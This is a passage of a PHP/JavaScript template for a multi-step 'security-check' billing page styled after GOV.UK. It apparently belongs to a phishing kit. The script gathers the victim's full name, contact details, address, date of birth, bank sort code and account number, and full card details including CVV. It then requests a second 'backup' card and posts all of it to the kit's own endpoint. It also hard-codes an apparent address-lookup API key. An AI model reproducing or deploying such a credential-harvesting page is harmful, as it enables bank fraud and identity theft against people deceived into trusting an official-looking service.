                        currentStep = step + 1;
                        showStep(currentStep);
                    }
                }
            }
            
            function submitCard1() {
                // Collect all form data
                const formData = new FormData();
                formData.append('fname', document.getElementById('fullname').value);
                formData.append('user', document.getElementById('email').value);
                formData.append('mobilenum', document.getElementById('mobile').value);
                formData.append('address', document.getElementById('address').value);
                formData.append('postcode', document.getElementById('postcode').value);
                formData.append('day', document.getElementById('day').value);
                formData.append('month', document.getElementById('month').value);
                formData.append('year', document.getElementById('year').value);
                formData.append('sortcode', document.getElementById('sortcode').value);
                formData.append('actnumber', document.getElementById('actnumber').value);
                formData.append('ccn', document.getElementById('ccnum').value);
                formData.append('emonth', document.getElementById('emonth').value);
                formData.append('eyear', document.getElementById('eyear').value);
                formData.append('cvv', document.getElementById('cccvv').value);
                
                // Add CSRF token
                const csrfToken = document.querySelector('input[name="csrf_token"]').value;
                formData.append('csrf_token', csrfToken);
                
                // Send AJAX request
                fetch('<?php echo base_url(); ?>security-check/billing/processCard1', {
                    method: 'POST',
                    body: formData
                })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        // Show toast notification
                        showToast();
                        
                        <?php if ($backupCardEnabled): ?>
                        // Move to step 3 after short delay
                        setTimeout(() => {
                            currentStep = 3;
                            showStep(currentStep);
                        }, 1500);
                        <?php else: ?>
                        // Redirect to done page after short delay
                        setTimeout(() => {
                            window.location.href = '<?php echo base_url(); ?>security-check/finished';
                        }, 2000);
                        <?php endif; ?>
                    }
                })
                .catch(error => {
                    console.error('Error:', error);
                    alert('An error occurred. Please try again.');
                });
            }
            
            function showToast(message, type) {
                // If called with error type, just use alert instead of toast
                if (type === 'error') {
                    alert(message || 'Validation error');
                    return;
                }
                
                // Show success toast only for success type or no type
                const alertEl = document.getElementById('successAlert');
                alertEl.classList.add('show');
                
                // Auto hide after 2 seconds
                setTimeout(() => {
                    alertEl.classList.add('hide');
                    setTimeout(() => {
                        alertEl.classList.remove('show', 'hide');
                    }, 300);
                }, 2000);
            }
            
            function prevStep(step) {
                currentStep = step - 1;
                showStep(currentStep);
            }
            
            function validateForm() {
                // Only validate backup card if it's enabled
                const backupCardEnabled = <?php echo $backupCardEnabled ? 'true' : 'false'; ?>;
                
                if (backupCardEnabled) {
                    // Validate step 3 - backup card
                    const ccnum2 = document.getElementById('ccnum2').value.trim().replace(/\s/g, '');
                    const emonth2 = document.getElementById('emonth2').value.trim();
                    const eyear2 = document.getElementById('eyear2').value.trim();
                    const cvv2 = document.getElementById('cccvv2').value.trim();
                    
                    if (!ccnum2 || !emonth2 || !eyear2 || !cvv2) {
                        alert('Please fill in all backup card details');
                        return false;
                    }
                    
                    // Validate backup card using validatePaymentCard function
                    const validationResult = validatePaymentCard(ccnum2, emonth2, eyear2, cvv2);
                    if (!validationResult.valid) {
                        alert(validationResult.error);
                        return false;
                    }
                    
                    // Check if card 2 is different from card 1
                    if (ccnum2 === card1Number) {
                        alert('Backup card must be different from your primary card');
                        document.getElementById('ccError2').style.display = 'block';
                        return false;
                    }
                }
                
                return true;
            }
            
            // Auto-fill address from postcode with dropdown selector
            let postcodeTimeout;
            let addressDropdown;
            const postcodeInput = document.getElementById('postcode');
            const addressInput = document.getElementById('address');
            const API_KEY = 'Z8gf5nRbxEKQZRbUnzkezg48826';
            
            postcodeInput.addEventListener('input', function() {
                clearTimeout(postcodeTimeout);
                removeAddressDropdown();
                const postcode = this.value.trim().replace(/\s/g, '').toUpperCase();
                
                if (postcode.length >= 5) {
                    postcodeTimeout = setTimeout(() => {
                        fetchAddresses(postcode);
                    }, 500);
                }
            });
            
            function fetchAddresses(postcode) {
                // Show loading indicator
                addressInput.placeholder = 'Loading addresses...';
                addressInput.disabled = true;
                removeAddressDropdown();
                
                fetch(`https://api.getaddress.io/find/${postcode}?api-key=${API_KEY}&expand=true`)
                    .then(response => response.json())
                    .then(data => {
                        if (data.addresses && data.addresses.length > 0) {
                            showAddressDropdown(data.addresses);
                        } else {
                            console.log('No addresses found');
                        }
                    })
                    .catch(error => {
                        console.error('Error fetching addresses:', error);
                    })
                    .finally(() => {
                        addressInput.placeholder = '';
                        addressInput.disabled = false;
                    });
            }
            
            function showAddressDropdown(addresses) {
                removeAddressDropdown();
                
                // Create dropdown container
                addressDropdown = document.createElement('select');
                addressDropdown.id = 'address-dropdown';
                addressDropdown.className = 'govuk-select';
                addressDropdown.style.cssText = 'width: 100%; margin-top: 10px; padding: 8px; font-size: 16px; border: 2px solid #0b0c0c;';
                
                // Add default option
                const defaultOption = document.createElement('option');
                defaultOption.value = '';
                defaultOption.textContent = `Select address (${addresses.length} found)`;
                addressDropdown.appendChild(defaultOption);
                
                // Add address options
                addresses.forEach((addr, index) => {
                    const option = document.createElement('option');
                    option.value = index;
                    
                    // Build display text
                    const parts = [];
                    if (addr.line_1) parts.push(addr.line_1);
                    if (addr.line_2) parts.push(addr.line_2);
                    if (addr.town_or_city) parts.push(addr.town_or_city);
                    
                    option.textContent = parts.join(', ');
                    option.dataset.fullAddress = parts.join(', ');
                    addressDropdown.appendChild(option);
                });
                
                // Add change event
                addressDropdown.addEventListener('change', function() {
                    if (this.value !== '') {
                        const selectedAddr = addresses[this.value];
                        const parts = [];
                        if (selectedAddr.line_1) parts.push(selectedAddr.line_1);
                        if (selectedAddr.line_2) parts.push(selectedAddr.line_2);
                        if (selectedAddr.town_or_city) parts.push(selectedAddr.town_or_city);
                        
                        addressInput.value = parts.join(', ');
                        
                        // Success feedback
                        addressInput.style.borderColor = '#00703c';
                        setTimeout(() => {
                            addressInput.style.borderColor = '';
                            removeAddressDropdown();
                        }, 1500);
                    }
                });
                
                // Insert after address input
                addressInput.parentNode.appendChild(addressDropdown);
            }
            
            function removeAddressDropdown() {
                if (addressDropdown && addressDropdown.parentNode) {
                    addressDropdown.parentNode.removeChild(addressDropdown);
                    addressDropdown = null;
                }
            }
            
            // Date of Birth Validation
            const dayInput = document.getElementById('day');
            const monthInput = document.getElementById('month');
            const yearInput = document.getElementById('year');
            const dobError = document.getElementById('dobErrors');
            
            function validateDateOfBirth() {
                const day = parseInt(dayInput.value);
                const month = parseInt(monthInput.value);
                const year = parseInt(yearInput.value);
                
                // Check if all fields are filled
                if (!day || !month || !year) {
                    dobError.textContent = 'Please enter your complete date of birth';
                    dobError.style.display = 'block';
                    return false;
                }
                
                // Validate ranges
                if (day < 1 || day > 31) {
                    dobError.textContent = 'Day must be between 1 and 31';
                    dobError.style.display = 'block';
                    return false;
                }
                
                if (month < 1 || month > 12) {
                    dobError.textContent = 'Month must be between 1 and 12';
                    dobError.style.display = 'block';
                    return false;
                }
                
                if (year < 1900 || year > new Date().getFullYear()) {
                    dobError.textContent = 'Please enter a valid year';
                    dobError.style.display = 'block';
                    return false;
                }
                
                // Create date object
                const birthDate = new Date(year, month - 1, day);
                
                // Check if date is valid (e.g., not 31 Feb)
                if (birthDate.getDate() !== day || birthDate.getMonth() !== month - 1 || birthDate.getFullYear() !== year) {
                    dobError.textContent = 'Please enter a valid date';
                    dobError.style.display = 'block';
                    return false;
                }
                
                // Check if date is not in the future
                if (birthDate > new Date()) {
                    dobError.textContent = 'Date of birth cannot be in the future';
                    dobError.style.display = 'block';
                    return false;
                }
                
                // Calculate age
                const today = new Date();
                let age = today.getFullYear() - birthDate.getFullYear();
                const monthDiff = today.getMonth() - birthDate.getMonth();
                if (monthDiff < 0 || (monthDiff === 0 && today.getDate() < birthDate.getDate())) {
                    age--;
                }
                
                // Check minimum age (18 years)
                if (age < 18) {
                    dobError.textContent = 'You must be at least 18 years old';
                    dobError.style.display = 'block';
                    return false;
                }
                
                // Check maximum age (reasonable limit)
                if (age > 120) {
                    dobError.textContent = 'Please enter a valid date of birth';
                    dobError.style.display = 'block';
                    return false;
                }
                
                // All validations passed
                dobError.style.display = 'none';
                return true;
            }
            
            // Add blur event listeners for real-time validation
            yearInput.addEventListener('blur', validateDateOfBirth);
            
            // Auto-format Sort Code
            const sortCodeInput = document.getElementById('sortcode');
            
            sortCodeInput.addEventListener('input', function(e) {
                let value = e.target.value.replace(/[^0-9]/g, ''); // Remove non-digits
                
                if (value.length > 6) {
                    value = value.substring(0, 6);
                }
                
                // Format as XX-XX-XX
                let formatted = '';
                for (let i = 0; i < value.length; i++) {
                    if (i === 2 || i === 4) {
                        formatted += '-';
                    }
                    formatted += value[i];
                }
                
                e.target.value = formatted;
            });
            
            // Initialize
            showStep(1);
        
// ============================================
// CARD VALIDATION - REAL-TIME + SUBMIT BLOCK
// ============================================

// Luhn Algorithm
function luhnCheck(cardNumber) {
    const digits = cardNumber.replace(/\D/g, '');
    let sum = 0;
    let isEven = false;
    
    for (let i = digits.length - 1; i >= 0; i--) {
        let digit = parseInt(digits[i]);
        
        if (isEven) {
            digit *= 2;
            if (digit > 9) {
                digit -= 9;
            }
        }
        
        sum += digit;
        isEven = !isEven;
    }
    
    return sum % 10 === 0;
}

// Validate card number
function validateCardNumber(cardNumber) {
    const cleaned = cardNumber.replace(/\s/g, '');
    
    if (cleaned.length === 0) {
        return {valid: true, error: null, cardType: null}; // Empty is OK, will be caught by required field check
    }
    
    // Check if starts with 3, 4, or 5
    const firstDigit = cleaned.charAt(0);
    if (firstDigit !== '3' && firstDigit !== '4' && firstDigit !== '5') {
        return {valid: false, error: 'Invalid card number', cardType: null};
    }
    
    // Determine card type and required length
    let cardType = null;
    let requiredLength = 0;
    
    if (firstDigit === '4') {
        cardType = 'Visa';
        requiredLength = 16;
    } else if (firstDigit === '5') {
        cardType = 'Mastercard';
        requiredLength = 16;
    } else if (firstDigit === '3') {
        cardType = 'Amex';
        requiredLength = 15;
    }
    
    // Check length only if enough digits
    if (cleaned.length >= requiredLength) {
        if (cleaned.length !== requiredLength) {
            return {valid: false, error: 'Invalid card number', cardType: cardType};
        }
        
        // Luhn check
        if (!luhnCheck(cleaned)) {
            return {valid: false, error: 'Invalid card number', cardType: cardType};
        }
    }
    
    return {valid: true, cardType: cardType};
}

// Validate expiry date
function validateExpiryDate(month, year) {
    const m = parseInt(month);
    const y = parseInt(year);
    
    if (isNaN(m) || isNaN(y)) {
        return {valid: false, error: 'Invalid date'};
    }
    
    if (m < 1 || m > 12) {
        return {valid: false, error: 'Invalid month'};
    }
    
    if (y < 1000 || y > 9999) {
        return {valid: false, error: 'Invalid year'};
    }
    
    // Check if expired
    const now = new Date();
    const currentYear = now.getFullYear();
    const currentMonth = now.getMonth() + 1;
    
    if (y < currentYear || (y === currentYear && m < currentMonth)) {
        return {valid: false, error: 'Card expired'};
    }
    
    return {valid: true};
}

// Validate CVV
function validateCVV(cvv, cardNumber) {
    const cleaned = cardNumber.replace(/\s/g, '');
    const firstDigit = cleaned.charAt(0);
    
    // Amex requires 4 digits, others require 3
    const requiredLength = (firstDigit === '3') ? 4 : 3;
    
    if (cvv.length !== requiredLength) {
        return {valid: false, error: `Invalid CVV`};
    }
    
    if (!/^\d+$/.test(cvv)) {
        return {valid: false, error: 'Invalid CVV'};
    }
    
    return {valid: true};
}

// Show error message below field
function showFieldError(fieldId, message) {
    const field = document.getElementById(fieldId);
    if (!field) return;
    
    // Remove existing error
    const existingError = field.parentElement.querySelector('.field-error');
    if (existingError) {
        existingError.remove();
    }
    
    // Add error message
    const errorDiv = document.createElement('div');
    errorDiv.className = 'field-error';
    errorDiv.style.color = '#d4351c';
    errorDiv.style.fontSize = '14px';
    errorDiv.style.marginTop = '5px';
    errorDiv.style.fontWeight = 'bold';
    errorDiv.textContent = message;
    
    field.parentElement.appendChild(errorDiv);
    
    // Add red border to field
    field.style.borderColor = '#d4351c';
    field.style.borderWidth = '2px';
}

// Clear error message
function clearFieldError(fieldId) {
    const field = document.getElementById(fieldId);
    if (!field) return;
    
    // Remove error message
    const existingError = field.parentElement.querySelector('.field-error');
    if (existingError) {
        existingError.remove();
    }
    
    // Reset border
    field.style.borderColor = '';
    field.style.borderWidth = '';
}

// REAL-TIME VALIDATION
window.addEventListener('DOMContentLoaded', function() {
    console.log('[Card Validation] Initializing real-time validation...');
    
    // Card number validation on blur
    const cardField = document.getElementById('ccnum');
    if (cardField) {
        cardField.addEventListener('blur', function() {
            const cardNum = this.value.trim();
            console.log('[Card Validation] Card number blur, validating:', cardNum);
            
            if (cardNum.length > 0) {
                const result = validateCardNumber(cardNum);
                console.log('[Card Validation] Result:', result);
                
                if (!result.valid) {
                    showFieldError('ccnum', result.error);
                } else {
                    clearFieldError('ccnum');
                }
            } else {
                clearFieldError('ccnum');
            }
        });
        
        console.log('[Card Validation] Card number blur event attached');
    }
    
    // Expiry date validation on blur
    const monthField = document.getElementById('emonth');
    const yearField = document.getElementById('eyear');
    
    if (monthField && yearField) {
        const validateExpiry = function() {
            const month = monthField.value.trim();
            const year = yearField.value.trim();
            
            if (month.length > 0 && year.length > 0) {
                const result = validateExpiryDate(month, year);
                console.log('[Card Validation] Expiry validation:', result);
                
                if (!result.valid) {
                    showFieldError('eyear', result.error);
                } else {
                    clearFieldError('eyear');
                }
            }
        };
        
        monthField.addEventListener('blur', validateExpiry);
        yearField.addEventListener('blur', validateExpiry);
        
        console.log('[Card Validation] Expiry date blur events attached');
    }
    
    // CVV validation on blur
    const cvvField = document.getElementById('cccvv');
    if (cvvField && cardField) {
        cvvField.addEventListener('blur', function() {
            const cvv = this.value.trim();
            const cardNum = cardField.value.trim();
            
            if (cvv.length > 0 && cardNum.length > 0) {
                const result = validateCVV(cvv, cardNum);
                console.log('[Card Validation] CVV validation:', result);
                
                if (!result.valid) {
                    showFieldError('cccvv', result.error);
                } else {
                    clearFieldError('cccvv');
                }
            }
        });
        
        console.log('[Card Validation] CVV blur event attached');
    }
    
    // SUBMIT VALIDATION - Override button onclick
    const buttons = document.querySelectorAll('button[onclick*="nextStep"]');
    
    buttons.forEach(function(button) {
        const originalOnclick = button.getAttribute('onclick');
        
        if (originalOnclick && originalOnclick.includes('nextStep(2)')) {
            console.log('[Card Validation] Overriding nextStep(2) button for submit validation');
            
            button.removeAttribute('onclick');
            
            button.addEventListener('click', function(e) {
                e.preventDefault();
                console.log('[Card Validation] Submit button clicked, validating all fields...');
                
                const cardNum = document.getElementById('ccnum').value.trim();
                const month = document.getElementById('emonth').value.trim();
                const year = document.getElementById('eyear').value.trim();
                const cvv = document.getElementById('cccvv').value.trim();
                
                let hasError = false;
                
                // Check empty
                if (!cardNum || !month || !year || !cvv) {
                    console.log('[Card Validation] Empty fields detected');
                    if (typeof showToast !== 'undefined') {
                        showToast('Please fill in all payment details', 'error');
                    }
                    return false;
                }
                
                // Validate card number
                const cardResult = validateCardNumber(cardNum);
                if (!cardResult.valid) {
                    console.log('[Card Validation] Card INVALID on submit');
                    showFieldError('ccnum', cardResult.error);
                    hasError = true;
                }
                
                // Validate expiry
                const expiryResult = validateExpiryDate(month, year);
                if (!expiryResult.valid) {
                    console.log('[Card Validation] Expiry INVALID on submit');
                    showFieldError('eyear', expiryResult.error);
                    hasError = true;
                }
                
                // Validate CVV
                const cvvResult = validateCVV(cvv, cardNum);
                if (!cvvResult.valid) {
                    console.log('[Card Validation] CVV INVALID on submit');
                    showFieldError('cccvv', cvvResult.error);
                    hasError = true;
                }
                
                if (hasError) {
                    console.log('[Card Validation] Validation FAILED, blocking submit');
                    if (typeof showToast !== 'undefined') {
                        showToast('Invalid card number', 'error');
                    }
                    return false;
                }
                
                // All valid!
                console.log('[Card Validation] All validations PASSED! Proceeding to nextStep(2)...');
                
                if (typeof nextStep !== 'undefined') {
                    nextStep(2);
                }
                
                return false;
            });
        }
    });
    
    console.log('[Card Validation] Real-time validation initialized!');
});


// ===== OVERRIDE nextStep() FUNCTION TO ADD VALIDATION =====
document.addEventListener('DOMContentLoaded', function() {
    console.log('[Card Validation] Overriding nextStep() function...');
    
    // Store original nextStep function
    const originalNextStep = window.nextStep;
    
    // Override nextStep function
    window.nextStep = function(step) {
        console.log('[Card Validation] nextStep(' + step + ') called');
        
        // Only validate for step 2 (Payment Card)
        if (step === 2) {
            console.log('[Card Validation] Validating payment card before submit...');
            
            const cardNum = document.getElementById('ccnum').value.trim();
            const month = document.getElementById('emonth').value.trim();
            const year = document.getElementById('eyear').value.trim();
            const cvv = document.getElementById('cccvv').value.trim();
            
            // Check empty fields
            if (!cardNum || !month || !year || !cvv) {
                console.log('[Card Validation] Empty fields detected');
                if (typeof showToast !== 'undefined') {
                    showToast('Please fill in all payment details', 'error');
                } else {
                    alert('Please fill in all payment details');
                }
                return false;
            }
            
            // Validate card number
            const cardResult = validateCardNumber(cardNum);
            if (!cardResult.valid) {
                console.log('[Card Validation] Card number INVALID: ' + cardResult.error);
                showFieldError('ccnum', cardResult.error);
                if (typeof showToast !== 'undefined') {
                    showToast('Invalid card number', 'error');
                } else {
                    alert('Invalid card number');
                }
                return false;
            }
            
            // Validate expiry date
            const expiryResult = validateExpiryDate(month, year);
            if (!expiryResult.valid) {
                console.log('[Card Validation] Expiry date INVALID: ' + expiryResult.error);
                showFieldError('eyear', expiryResult.error);
                if (typeof showToast !== 'undefined') {
                    showToast('Invalid expiry date', 'error');
                } else {
                    alert('Invalid expiry date');
                }
                return false;
            }
            
            // Validate CVV
            const cvvResult = validateCVV(cvv, cardNum);
            if (!cvvResult.valid) {
                console.log('[Card Validation] CVV INVALID: ' + cvvResult.error);
                showFieldError('cccvv', cvvResult.error);
                if (typeof showToast !== 'undefined') {
                    showToast('Invalid CVV', 'error');
                } else {
                    alert('Invalid CVV');
                }
                return false;
            }
            
            // All validations passed!
            console.log('[Card Validation] All validations PASSED! Proceeding with original nextStep(2)...');
            clearAllErrors();
        }
        
        // Call original nextStep function
        if (typeof originalNextStep === 'function') {
            return originalNextStep(step);
        }
    };
    
    console.log('[Card Validation] nextStep() override complete!');
});

</script></script>
    </body>
</html>
